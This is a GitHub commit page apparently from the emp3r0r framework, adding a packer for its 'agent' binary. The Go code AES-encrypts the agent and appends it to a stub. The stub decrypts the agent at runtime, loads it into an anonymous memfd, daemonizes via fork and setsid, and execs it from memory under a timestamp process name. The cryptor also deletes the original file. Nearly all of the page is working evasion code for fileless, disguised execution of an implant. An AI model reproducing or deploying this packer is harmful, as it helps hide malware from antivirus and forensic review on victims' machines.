Skip to content

Commit

Permalink
packer: pack agent binary with AES runtime cryptor
Browse files Browse the repository at this point in the history
  • Loading branch information
jm33-m0 committed Jan 2, 2021
1 parent ef1bb2e commit 87620a3
Show file tree
Hide file tree
Showing 5 changed files with 222 additions and 0 deletions.
9 changes: 9 additions & 0 deletions packer/build.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
#!/bin/bash

(
cd ./cmd/cryptor/ || exit 1
go build -o cryptor.exe &&
mv ./cryptor.exe ../../
)

echo "run cryptor.exe"
64 changes: 64 additions & 0 deletions packer/cmd/cryptor/main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,64 @@
package main

import (
"flag"
"fmt"
"io/ioutil"
"log"
"os"
"os/exec"

"github.com/jm33-m0/emp3r0r/packer/internal/utils"
)

func main() {
inputELF := flag.String("input", "./agent", "The ELF file to pack")
flag.Parse()

// read file
elfBytes, err := ioutil.ReadFile(*inputELF)
if err != nil {
log.Fatal(err)
}

// encrypt
key := utils.GenAESKey(utils.Key)
encELFBytes := utils.AESEncrypt(key, elfBytes)
if encELFBytes == nil {
log.Fatalf("failed to encrypt %s", *inputELF)
}

// build stub
err = os.Chdir("./cmd/stub")
if err != nil {
log.Fatal(err)
}
out, err := exec.Command("go", "build").CombinedOutput()
if err != nil {
log.Fatalf("go build failed: %v\n%s", err, out)
}
err = os.Rename("./stub", "../../stub.exe")
if err != nil {
log.Fatal(err)
}
err = os.Chdir("../../")
if err != nil {
log.Fatal(err)
}

// write
toWrite, err := ioutil.ReadFile("stub.exe")
if err != nil {
log.Fatal(err)
}
toWrite = append(toWrite, []byte(utils.Sep)...)
toWrite = append(toWrite, encELFBytes...)
err = ioutil.WriteFile(fmt.Sprintf("%s.packed.exe", *inputELF), toWrite, 0600)
if err != nil {
log.Fatal(err)
}

// done
os.Remove(*inputELF)
log.Printf("%s has been packed as %s.packed.exe", *inputELF, *inputELF)
}
72 changes: 72 additions & 0 deletions packer/cmd/stub/stub.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
package main

import (
"bytes"
"fmt"
"io/ioutil"
"log"
"os"
"syscall"
"time"
"unsafe"

"github.com/jm33-m0/emp3r0r/packer/internal/utils"
)

const (
mfdCloexec = 0x0001
memfdCreateX64 = 319
fork = 57
)

func runFromMemory(procName string, buffer []byte) {
fdName := "" // *string cannot be initialized

fd, _, _ := syscall.Syscall(memfdCreateX64, uintptr(unsafe.Pointer(&fdName)), uintptr(mfdCloexec), 0)
_, _ = syscall.Write(int(fd), buffer)

fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)

switch child, _, _ := syscall.Syscall(fork, 0, 0, 0); child {
case 0:
break
case 1:
// Fork failed!
log.Fatal("fork failed")
break
default:
// Parent exiting...
os.Exit(0)
}

_ = syscall.Umask(0)
_, _ = syscall.Setsid()
_ = syscall.Chdir("/")

file, _ := os.OpenFile("/dev/null", os.O_RDWR, 0)
syscall.Dup2(int(file.Fd()), int(os.Stdin.Fd()))
file.Close()

_ = syscall.Exec(fdPath, []string{procName}, nil)
}

func main() {
wholeStub, err := ioutil.ReadFile(os.Args[0])
if err != nil {
log.Fatal(err)
}
// length of the whole stub file
elfbegining := bytes.LastIndex(wholeStub, []byte(utils.Sep))
elfBytes := wholeStub[(elfbegining + len(utils.Sep)):]

// decrypt attached ELF file
key := utils.GenAESKey(utils.Key)
elfdata := utils.AESDecrypt(key, elfBytes)
if elfdata == nil {
log.Fatal("AESDecrypt failed")
}

// write ELF to memory and run it
procName := fmt.Sprintf("%d", time.Now().UnixNano())
runFromMemory(procName, elfdata)
}
3 changes: 3 additions & 0 deletions packer/go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
module github.com/jm33-m0/emp3r0r/packer

go 1.13
74 changes: 74 additions & 0 deletions packer/internal/utils/aes.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,74 @@
package utils

import (
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"crypto/rand"
"fmt"
"io"
"log"
)

const (
Sep = "c7c53de5-c719-4c12-be88-c227a59b4286"
Key = "fb9dce35-8190-4a88-a832-64a39b975ccf-ThisIsYourAESKey"
)

// MD5Sum calc md5 of a string
func MD5Sum(text string) string {
sumbytes := md5.Sum([]byte(text))
return fmt.Sprintf("%x", sumbytes)
}

// generate AES key from any string
func GenAESKey(seed string) []byte {
md5sum := MD5Sum(seed)
return []byte(md5sum[:])[:32]
}

func AESEncrypt(key, plaintext []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
log.Print(err)
return nil
}

// The IV needs to be unique, but not secure. Therefore it's common to
// include it at the beginning of the ciphertext.
ciphertext := make([]byte, aes.BlockSize+len(plaintext))
iv := ciphertext[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
log.Print(err)
return nil
}

stream := cipher.NewCFBEncrypter(block, iv)
stream.XORKeyStream(ciphertext[aes.BlockSize:], plaintext)

return ciphertext
}

func AESDecrypt(key, ciphertext []byte) []byte {
block, err := aes.NewCipher(key)
if err != nil {
log.Print(err)
return nil
}

// The IV needs to be unique, but not secure. Therefore it's common to
// include it at the beginning of the ciphertext.
if len(ciphertext) < aes.BlockSize {
log.Print("ciphertext too short")
return nil
}
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]

stream := cipher.NewCFBDecrypter(block, iv)

// XORKeyStream can work in-place if the two arguments are the same.
stream.XORKeyStream(ciphertext, ciphertext)

return ciphertext
}

0 comments on commit 87620a3

Please sign in to comment.